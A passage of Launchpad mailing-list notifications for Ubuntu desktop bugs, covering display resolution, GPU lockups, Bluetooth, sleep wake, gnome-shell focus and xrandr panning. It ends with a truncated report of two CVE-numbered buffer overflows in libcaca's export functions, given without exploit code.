MHz (VIC 4) 720x48059.940 Hz 16:931.469 kHz 27.000 MHz (VIC 3) 640x48059.940 Hz 4:331.469 kHz 25.175 MHz (VIC 1) Audio Data Block Linear PCM, max channels 2 Supported sample rates (kHz): 48 44.1 32 Supported sample sizes (bits): 24 20 16 Speaker Allocation Data Block Speaker map: FL/FR - Front Left/Right Detailed mode: Clock 148.500 MHz, 600 mm x 340 mm 1920 2008 2052 2200 ( 88 44 148) 1080 1084 1089 1125 ( 4 5 36) +hsync +vsync VertFreq: 60.000 Hz, HorFreq: 67.500 kHz Checksum: 0x41 ** Package changed: xorg (Ubuntu) => nvidia-graphics-drivers-460 (Ubuntu) ** Summary changed: - can't set 2560x1440 resolution after installing nvidia drivers + Can't add custom mode 2560x1440 after installing nvidia drivers -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923437 Title: Can't add custom mode 2560x1440 after installing nvidia drivers Status in nvidia-graphics-drivers-460 package in Ubuntu: New Bug description: Hello ! I have 2 monitors 1) one is 4K 2) another one is FULLHD, when I installed lubuntu I had 4k monitor work at maximum 4k and another at fullhd , I want to change that 4k monitor to 2560x1440(2k). after install nvidia drivers there is no 2560x1440 resolution in "monitor settings" resolutions tab like it was before installing drivers. when trying to add it manually from xrandr, at some point it gives me that error: X Error of failed request: BadName (named color or font does not exist) Major opcode of failed request: 140 (RANDR) Minor opcode of failed request: 16 (RRCreateMode) Serial number of failed request: 35 Current serial number in output stream: 35 in short , I can't set monitor to 2560x1440. what it might be ? -- 1) The release of Ubuntu you are using, via 'lsb_release -rd' or System -> About Ubuntu Description:Ubuntu Hirsute Hippo (development branch) Release:21.04 2) The version of the package you are using, via 'apt-cache policy pkgname' or by checking in Software Center Unable to locate package pkgname 3) What you expected to happen have 2560x1440 resolution option after installing nvidia driver 4) What happened instead have no 2560x1440 listed in "monitor settings" and can't even create it manually from xrandr commands Best Regard !
[Desktop-packages] [Bug 1923153] Re: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU)
Thanks. That shows 'radeon' is the common problem. Also, is "AMD R7 430" a typo? Should that be "AMD R7 340"? ** No longer affects: xserver-xorg-video-amdgpu (Ubuntu) ** Summary changed: - Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) + [radeon] Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) ** Tags removed: amdgpu ** Also affects: xorg-server (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-ati in Ubuntu. https://bugs.launchpad.net/bugs/1923153 Title: [radeon] Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) Status in OEM Priority Project: Confirmed Status in xorg-server package in Ubuntu: New Status in xserver-xorg-video-ati package in Ubuntu: New Bug description: [Steps to reproduce this issue] 1. Install a focal base image 2. Attach an AMD R7 430 graphic as dGPU without connecting any monitor on it. 3. Attach DP monitor on iGPU (no matter the iGPU is Intel(i915), or AMD(amdgpu)). 4. After logging it, the display shows laggy. [Additional information] 1. doesn't see this issue if selecting 'Wayland' ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xserver-xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.10.0-1019.20-oem 5.10.18 Uname: Linux 5.10.0-1019-oem x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip Date: Fri Apr 9 16:23:42 2021 DistUpgraded: Fresh install DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-stella-focal-amd64-20210324-1458+pc-stella-cmit-focal-amd64+X00 DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [1002:6611] (rev 87) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [103c:3375] Advanced Micro Devices, Inc. [AMD/ATI] Renoir [1002:1636] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Renoir [103c:872b] InstallationDate: Installed on 2021-04-09 (0 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20210324-23:53 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1019-oem root=UUID=027c2398-aef7-43d2-a339-6a2163287914 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/30/2020 dmi.bios.release: 2.0 dmi.bios.vendor: HP dmi.bios.version: S09 Ver. 02.02.00 dmi.board.name: 872B dmi.board.vendor: HP dmi.board.version: KBC Version 09.94.00 dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.ec.firmware.release: 9.148 dmi.modalias: dmi:bvnHP:bvrS09Ver.02.02.00:bd12/30/2020:br2.0:efr9.148:svnHP:pn:pvr:rvnHP:rn872B:rvrKBCVersion09.94.00:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP EliteDesk dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1923153/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1922536] Re: bluetooth not working in gnome settings after reboot and requires systemctl restart bluetooth
There was a suggestion in bug 1912940 that the latest hirsute updates have fixed the problem. Please run: sudo apt update sudo apt full-upgrade and tell us if the problem persists. ** This bug is no longer a duplicate of bug 1912940 Intel Wireless-AC 3165 [8086:3166] Subsystem [8086:4210] Bluetooth (ideapad_bluetooth) disabled every time on startup ** Package changed: bluez (Ubuntu) => linux (Ubuntu) ** Summary changed: - bluetooth not working in gnome settings after reboot and requires systemctl restart bluetooth + Bluetooth (ideapad_bluetooth) not working in gnome settings after reboot and requires systemctl restart bluetooth ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1922536 Title: Bluetooth (ideapad_bluetooth) not working in gnome settings after reboot and requires systemctl restart bluetooth Status in linux package in Ubuntu: Incomplete Bug description: Selected logs: https://paste.ubuntu.com/p/gMbk2ntQyz/ https://paste.ubuntu.com/p/F8n72kCbJJ/ lshw: https://paste.ubuntu.com/p/3Z9jwBdyVt/ If I try and use the bluetooth toggle in gnome settings upon boot it won't do anything. If I have the bluetooth settings window open in gnome settings and manually restart the bluetooth service with: "sudo systemctl restart bluetooth" then it starts searching for devices and I was able to pair Samsung Galaxy Earbuds after multiple service restarts. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: bluez 5.56-0ubuntu3 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Apr 5 00:35:34 2021 InstallationDate: Installed on 2021-04-05 (0 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210331.1) InterestingModules: rfcomm bnep btusb bluetooth MachineType: LENOVO 81Q9 ProcEnviron: LANGUAGE=en_CA:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-13-generic root=UUID=dd9e8fc7-3c6a-462d-8cea-b37801ba586d ro quiet splash vt.handoff=7 SourcePackage: bluez UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/09/2020 dmi.bios.release: 1.54 dmi.bios.vendor: LENOVO dmi.bios.version: AUCN54WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: LNVNB161216 dmi.board.vendor: LENOVO dmi.board.version: SDK0J40709 WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 31 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo Yoga C940-14IIL dmi.ec.firmware.release: 1.43 dmi.modalias: dmi:bvnLENOVO:bvrAUCN54WW:bd01/09/2020:br1.54:efr1.43:svnLENOVO:pn81Q9:pvrLenovoYogaC940-14IIL:rvnLENOVO:rnLNVNB161216:rvrSDK0J40709WIN:cvnLENOVO:ct31:cvrLenovoYogaC940-14IIL: dmi.product.family: Yoga C940-14IIL dmi.product.name: 81Q9 dmi.product.sku: LENOVO_MT_81Q9_BU_idea_FM_Yoga C940-14IIL dmi.product.version: Lenovo Yoga C940-14IIL dmi.sys.vendor: LENOVO hciconfig: hci0:Type: Primary Bus: USB BD Address: D8:3B:BF:4D:22:D0 ACL MTU: 1021:4 SCO MTU: 96:6 DOWN RX bytes:302871 acl:36 sco:0 events:10305 errors:0 TX bytes:822111 acl:36 sco:0 commands:5384 errors:0 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1922536/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1865379] Re: Raspberry Pi 4 fails to wake at login prompt
** Changed in: xorg-server (Ubuntu)
Status: Incomplete => Invalid
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xorg-server in Ubuntu.
https://bugs.launchpad.net/bugs/1865379
Title:
Raspberry Pi 4 fails to wake at login prompt
Status in linux package in Ubuntu:
Invalid
Status in xorg-server package in Ubuntu:
Invalid
Bug description:
Raspberry Pi 4 running Ubuntu server 20.04 Focal (and perhaps 19.10
Eoan) fails to wake from sleep when no user is logged in and the
screen is sitting at the gdm login prompt.
This has happened on two different systems. One system uses the
official RPi 7 inch touchscreen via (LCD DSI Display Connector). The
other system has a 10 inch non-touchscreen from SunFounder via (Micro
HDMI).
Nothing wakes the Pi: Keyboard, mouse, or touchscreen.
After a user logs in and the screen locks on sleep the system wakes
just fine with a lock screen.
ProblemType: Bug
DistroRelease: Ubuntu 20.04
Package: gdm3 3.34.1-1ubuntu1
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
Uname: Linux 5.4.0-1001-raspi2 armv7l
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
CurrentDesktop: XFCE
Date: Sun Mar 1 20:03:12 2020
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
SourcePackage: gdm3
UpgradeStatus: Upgraded to focal on 2020-02-28 (2 days ago)
---
ProblemType: Bug
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
CurrentDesktop: XFCE
DisplayManager: gdm3
DistroRelease: Ubuntu 20.04
GsettingsChanges:
b'org.gnome.desktop.input-sources' b'sources' b"[('xkb', 'us')]"
b'org.gnome.desktop.interface' b'gtk-im-module' b"'ibus'"
Package: gnome-shell 3.35.91-1ubuntu2
PackageArchitecture: armhf
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
RelatedPackageVersions: mutter-common 3.35.91-1ubuntu1
Tags: focal uec-images third-party-packages
Uname: Linux 5.4.0-1001-raspi2 armv7l
UpgradeStatus: Upgraded to focal on 2020-02-28 (20 days ago)
UserGroups: adm audio cdrom dialout dip floppy lxd netdev plugdev sudo video
_MarkForUpload: True
---
ProblemType: Bug
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
CurrentDesktop: XFCE
DisplayManager: gdm3
DistroRelease: Ubuntu 20.04
GsettingsChanges:
b'org.gnome.desktop.app-folders' b'folder-children' b"['Utilities',
'Sundry', 'YaST']"
b'org.gnome.desktop.input-sources' b'sources' b"[('xkb', 'us')]"
b'org.gnome.desktop.interface' b'gtk-im-module' b"'gtk-im-context-simple'"
Package: gnome-shell 3.35.91-1ubuntu2
PackageArchitecture: armhf
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
RelatedPackageVersions: mutter-common 3.35.91-1ubuntu1
Tags: focal uec-images third-party-packages
Uname: Linux 5.4.0-1001-raspi2 armv7l
UpgradeStatus: Upgraded to focal on 2020-01-12 (69 days ago)
UserGroups: adm audio cdrom dialout dip floppy lxd netdev plugdev sudo video
_MarkForUpload: True
---
ProblemType: Bug
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
CompositorRunning: None
CurrentDesktop: XFCE
DistUpgraded: 2020-01-11 19:42:56,183 DEBUG Running PostInstallScript:
'./xorg_fix_proprietary.py'
DistroCodename: focal
DistroRelease: Ubuntu 20.04
DistroVariant: ubuntu
ExtraDebuggingInterest: Yes
GraphicsCard:
Lsusb:
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 004: ID 8086:0808 Intel Corp.
Bus 001 Device 003: ID 046d:c52b Logitech, Inc. Unifying Receiver
Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Package: xorg-server (not installed)
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
ProcKernelCmdLine: coherent_pool=1M 8250.nr_uarts=1 cma=64M cma=256M
video=HDMI-A-1:1280x800@60 smsc95xx.macaddr=DC:A6:32:1F:4B:D2
vc_mem.mem_base=0x3ec0 vc_mem.mem_size=0x4000 net.ifnames=0
dwc_otg.lpm_enable=0 console=ttyS0,115200 console=tty1 root=LABEL=writable
rootfstype=ext4 elevator=deadline rootwait fixrtc quiet splash
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
Tags: focal uec-images ubuntu reproducible
Uname: Linux 5.4.0-1001-raspi2 armv7l
UpgradeStatus: Upgraded to focal on 2020-01-12 (72 days ago)
UserGroups: adm audio cdrom dialout dip floppy lxd netdev plugdev sudo video
_MarkForUpload: True
version.compiz: compiz N/A
version.libdrm2: libdrm2 2.4.100-4
version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.0-1ubuntu1
[Desktop-packages] [Bug 1922772] Re: Overview search causes the workarea to reshape, desktop-icons-ng to restart and the new window to lose focus
** Changed in: gnome-shell (Ubuntu) Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1922772 Title: Overview search causes the workarea to reshape, desktop-icons-ng to restart and the new window to lose focus Status in gnome-shell package in Ubuntu: Fix Committed Bug description: Release: Ubuntu 21.04 (20210406 iso image) Software, version: gnome-shell, 3.38.4-1ubuntu1 How to reproduce: 1) Boot up Ubuntu 21.04 image (live session or installed) 2) Once inside shell, go to overview (either using Super key or clicking on Activities) 3) Search for any application (eg., terminal) and launch it. Expected: The application launches normally and usable. Actual: The application launches but the window looses focus. When the application is launching, the desktop icons disappear for few seconds and reappear. When they reappear the launched application window will not have focus. If we launch the application from the app grid (without searching first) or from the dock, the window retains the focus. Tested on VM (quickemu and virt-manager). ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: gnome-shell 3.38.4-1ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Tue Apr 6 22:14:04 2021 DisplayManager: gdm3 InstallationDate: Installed on 2021-04-06 (0 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210405) ProcEnviron: LANGUAGE=en_IN:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash RelatedPackageVersions: mutter-common 3.38.4-1ubuntu1 SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1922772/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923513] Re: xrandr --panning problem
Thank you for the time & effort shown in researching the issue you've experienced. Before the bug can really be accepted & worked on by Ubuntu, it'll need to be confirmed that Linux Mint run-time adjustments are not-at-play, ie. confirmation on a pure Ubuntu system (with logs provided). Your logic & effort at finding your issue is noticed & appreciated. FYI: For best results, it's best to work on the current development release (so extra SRU steps aren't required, which currently are required for hirsute, so it'll be likely mean the next i-cycle). ** Changed in: xorg (Ubuntu) Status: Incomplete => New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923513 Title: xrandr --panning problem Status in xorg package in Ubuntu: New Bug description: Dear community Recently I upgraded my old netbook from Linux from Linux Mint 18 to Linux Mint 20 Distribution: cat /etc/upstream-release/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=20.04 DISTRIB_CODENAME=focal DISTRIB_DESCRIPTION="Ubuntu Focal Fossa" Netbook is with small screen 1024x600 To get bigger virtual screen I use xrandr like: xrandr --fb 1024x768 --output LVDS1 --panning 1024x768 To return to normal screen I use xrandr --fb 1024x600 What is expected: when the mouse moves outside the 1024x600 screen - new "clean" virtual area appears. What is in reality: With fresh Ubuntu the first script results to wrong "background" image on the extended area: When I move mouse down below the original 600 pixels, first 768-600=168 strings are shown like a background image. Or new virtual 601 string is the copy of the old 1 602 string is the copy of the old 2 ... 768 string is the copy of the old 168 It looks like an index shift in the array: The string which "disappears" from the top is moved to the bottom This "background" image can be overwritten by the real application window. For example, if I move the terminal window it appears on the top of this "background" But after moving mouse back inside the 1024x600 screen and back outside the 1024x600 screen, the shifted copy of the top part of the screen appears at the bottom according the 1->601 2->602 etc logic. After playing a lot with xrandr parameters I had found a workaround: One has to specify the first parameter in --fb bigger than the first parameter in --panning For example: xrandr --fb 1025x768 --output LVDS1 --panning 1024x768 Here 1025>1024 I had checked this bug with two different laptops, so it is not related with the hardware. More information: xrandr -v xrandr program version 1.5.0 Server reports RandR version 1.6 The working configuration: xrandr Screen 0: minimum 8 x 8, current 1025 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis Wrongly working configuration: xrandr Screen 0: minimum 8 x 8, current 1024 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis) Hope you can reproduce this bug. Best regards, Dmitry To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1923513/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1863390] Re: GPU lockup ring 0 stalled for more than X msec
I am also experiencing this issue. I was using 18.04.5 and did not have the issue. I did a new install of 20.04 with the same hardware and the problem started. It continues after upgrade to 20.10. ~~~ user@8560w:~$ sudo lshw -C display [sudo] password for user: *-display description: VGA compatible controller product: Whistler [Radeon HD 6730M/6770M/7690M XT] vendor: Advanced Micro Devices, Inc. [AMD/ATI] physical id: 0 bus info: pci@:01:00.0 version: 00 width: 64 bits clock: 33MHz capabilities: pm pciexpress msi vga_controller bus_master cap_list rom configuration: driver=radeon latency=0 resources: irq:44 memory:c000-cfff memory:d440-d441 ioport:4000(size=256) memory:c-d ~~~ -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-ati in Ubuntu. https://bugs.launchpad.net/bugs/1863390 Title: GPU lockup ring 0 stalled for more than X msec Status in xserver-xorg-video-ati package in Ubuntu: Incomplete Bug description: Since the update: xserver-xorg-video-ati-hwe-18.04 (1:19.0.1-1ubuntu1~18.04.1) bionic; which resulted from: https://bugs.launchpad.net/fedora/+source/xserver-xorg-video- ati/+bug/1841718 I've experienced GPU freezes where all video becomes unresponsive, both Xorg and Ctrl+Alt terminal switching, and the GPU fan goes to full. I am still able to access the system via SSH. Sometimes dmesg ends up full of this message repeating over and over: radeon :01:00.0: ring 0 stalled for more than 24040msec radeon :01:00.0: GPU lockup (current fence id 0x9e44 last fence id 0x9e49 on ring 0) I sometimes get a few GPU soft reset which seem to fail in drm(?): radeon :01:00.0: Saved 110839 dwords of commands on ring 0. radeon :01:00.0: GPU softreset: 0x0008 ... radeon :01:00.0: Wait for MC idle timedout ! radeon :01:00.0: Wait for MC idle timedout ! [drm] PCIE GART of 1024M enabled (table at 0x00162000). radeon :01:00.0: WB enabled radeon :01:00.0: fence driver on ring 0 use gpu addr 0x4c00 and cpu addr 0x725651ad radeon :01:00.0: fence driver on ring 3 use gpu addr 0x4c0c and cpu addr 0xc3678ed8 radeon :01:00.0: fence driver on ring 5 use gpu addr 0x00072118 and cpu addr 0xdbd9e01b [drm:r600_ring_test [radeon]] *ERROR* radeon: ring 0 test failed (scratch(0x8504)=0xCAFEDEAD) [drm:evergreen_resume [radeon]] *ERROR* evergreen startup failed on resume Even if the above reset doesn't happen, this freeze always results in a unable to handle page fault" BUG in radeon_ring_backup, entered from various call paths, eg: BUG: unable to handle page fault for address: bc2d80574ffc ... Oops: [#1] SMP PTI CPU: 2 PID: 11243 Comm: kworker/2:1H Not tainted 5.5.0-050500-generic #202001262030 Workqueue: radeon-crtc radeon_flip_work_func [radeon] RIP: 0010:radeon_ring_backup+0xc9/0x140 [radeon] Call Trace: radeon_gpu_reset+0xc3/0x2f0 [radeon] radeon_flip_work_func+0x1f3/0x250 [radeon] ? __schedule+0x2e0/0x760 process_one_work+0x1b5/0x370 worker_thread+0x50/0x3d0 kthread+0x104/0x140 ? process_one_work+0x370/0x370 ? kthread_park+0x90/0x90 ret_from_fork+0x35/0x40 or: BUG: unable to handle page fault for address: c03901000ffc ... Oops: [#1] SMP PTI CPU: 3 PID: 2227 Comm: compton Not tainted 5.3.0-28-generic #30~18.04.1-Ubuntu RIP: 0010:radeon_ring_backup+0xd3/0x140 [radeon] Call Trace: radeon_gpu_reset+0xb9/0x340 [radeon] ? dma_fence_wait_timeout+0x48/0x110 ? reservation_object_wait_timeout_rcu+0x19d/0x340 radeon_gem_handle_lockup.part.4+0xe/0x20 [radeon] radeon_gem_wait_idle_ioctl+0xa6/0x110 [radeon] ? radeon_gem_busy_ioctl+0x80/0x80 [radeon] drm_ioctl_kernel+0xb0/0x100 [drm] drm_ioctl+0x389/0x450 [drm] ? radeon_gem_busy_ioctl+0x80/0x80 [radeon] ? __switch_to_asm+0x40/0x70 ? __switch_to_asm+0x34/0x70 ? __switch_to_asm+0x40/0x70 ? __switch_to_asm+0x40/0x70 ? __switch_to_asm+0x34/0x70 ? __switch_to_asm+0x40/0x70 ? __switch_to_asm+0x34/0x70 ? __switch_to_asm+0x40/0x70 radeon_drm_ioctl+0x4f/0x80 [radeon] do_vfs_ioctl+0xa9/0x640 ? __schedule+0x2b0/0x670 ksys_ioctl+0x75/0x80 __x64_sys_ioctl+0x1a/0x20 do_syscall_64+0x5a/0x130 entry_SYSCALL_64_after_hwframe+0x44/0xa9 I've tried both 5.3.0-28-generic and 5.5.0-050500-generic from kernel- ppa but that made no difference. It appears to be a bug in radeon. Nothing specific makes this happen, just regular usage with a compositing window manager. I'm not playing games or particularly exercising the GPU. The last two times I was just reading in web browser. It's also
[Desktop-packages] [Bug 1923513] Re: xrandr --panning problem
Thank you for taking the time to report this bug and helping to make Ubuntu better. Please execute the following command only once, as it will automatically gather debugging information, in a terminal: apport-collect 1923513 When reporting bugs in the future please use apport by using 'ubuntu- bug' and the name of the package affected. You can learn more about this functionality at https://wiki.ubuntu.com/ReportingBugs. Please note: `ubuntu-bug`, `apport` & bug reporting tools are provided with Ubuntu by default, many require manual addition for some releases of downstream OSes based on Ubuntu (eg. Linux Mint). You should check with your distribution first. ** Changed in: xorg (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923513 Title: xrandr --panning problem Status in xorg package in Ubuntu: Incomplete Bug description: Dear community Recently I upgraded my old netbook from Linux from Linux Mint 18 to Linux Mint 20 Distribution: cat /etc/upstream-release/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=20.04 DISTRIB_CODENAME=focal DISTRIB_DESCRIPTION="Ubuntu Focal Fossa" Netbook is with small screen 1024x600 To get bigger virtual screen I use xrandr like: xrandr --fb 1024x768 --output LVDS1 --panning 1024x768 To return to normal screen I use xrandr --fb 1024x600 What is expected: when the mouse moves outside the 1024x600 screen - new "clean" virtual area appears. What is in reality: With fresh Ubuntu the first script results to wrong "background" image on the extended area: When I move mouse down below the original 600 pixels, first 768-600=168 strings are shown like a background image. Or new virtual 601 string is the copy of the old 1 602 string is the copy of the old 2 ... 768 string is the copy of the old 168 It looks like an index shift in the array: The string which "disappears" from the top is moved to the bottom This "background" image can be overwritten by the real application window. For example, if I move the terminal window it appears on the top of this "background" But after moving mouse back inside the 1024x600 screen and back outside the 1024x600 screen, the shifted copy of the top part of the screen appears at the bottom according the 1->601 2->602 etc logic. After playing a lot with xrandr parameters I had found a workaround: One has to specify the first parameter in --fb bigger than the first parameter in --panning For example: xrandr --fb 1025x768 --output LVDS1 --panning 1024x768 Here 1025>1024 I had checked this bug with two different laptops, so it is not related with the hardware. More information: xrandr -v xrandr program version 1.5.0 Server reports RandR version 1.6 The working configuration: xrandr Screen 0: minimum 8 x 8, current 1025 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis Wrongly working configuration: xrandr Screen 0: minimum 8 x 8, current 1024 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis) Hope you can reproduce this bug. Best regards, Dmitry To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1923513/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923273] Re: buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff
Issues have been assigned numbers CVE-2021-30498、CVE-2021-30499
** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-30498
** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-30499
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to libcaca in Ubuntu.
https://bugs.launchpad.net/bugs/1923273
Title:
buffer-overflow on libcaca-0.99.beta20/export.c export_tga,
export_troff
Status in libcaca package in Ubuntu:
New
Bug description:
Hello Ubuntu Security Team
I use libfuzzer to test libcaca api .I found two crash
- https://github.com/cacalabs/libcaca/issues/53
- https://github.com/cacalabs/libcaca/issues/54
## Vendor of Product
https://github.com/cacalabs/libcaca
## Affected Product Code Base
libcaca e4968ba
## Affected Component
affected component:libcaca.so
## Affected source code file
affected source code file(As call stack):
->caca_export_canvas_to_memory() in
libcaca/caca/codec/export.c
->caca_export_memory()in
libcaca/caca/codec/export.c
-> export_tga()in
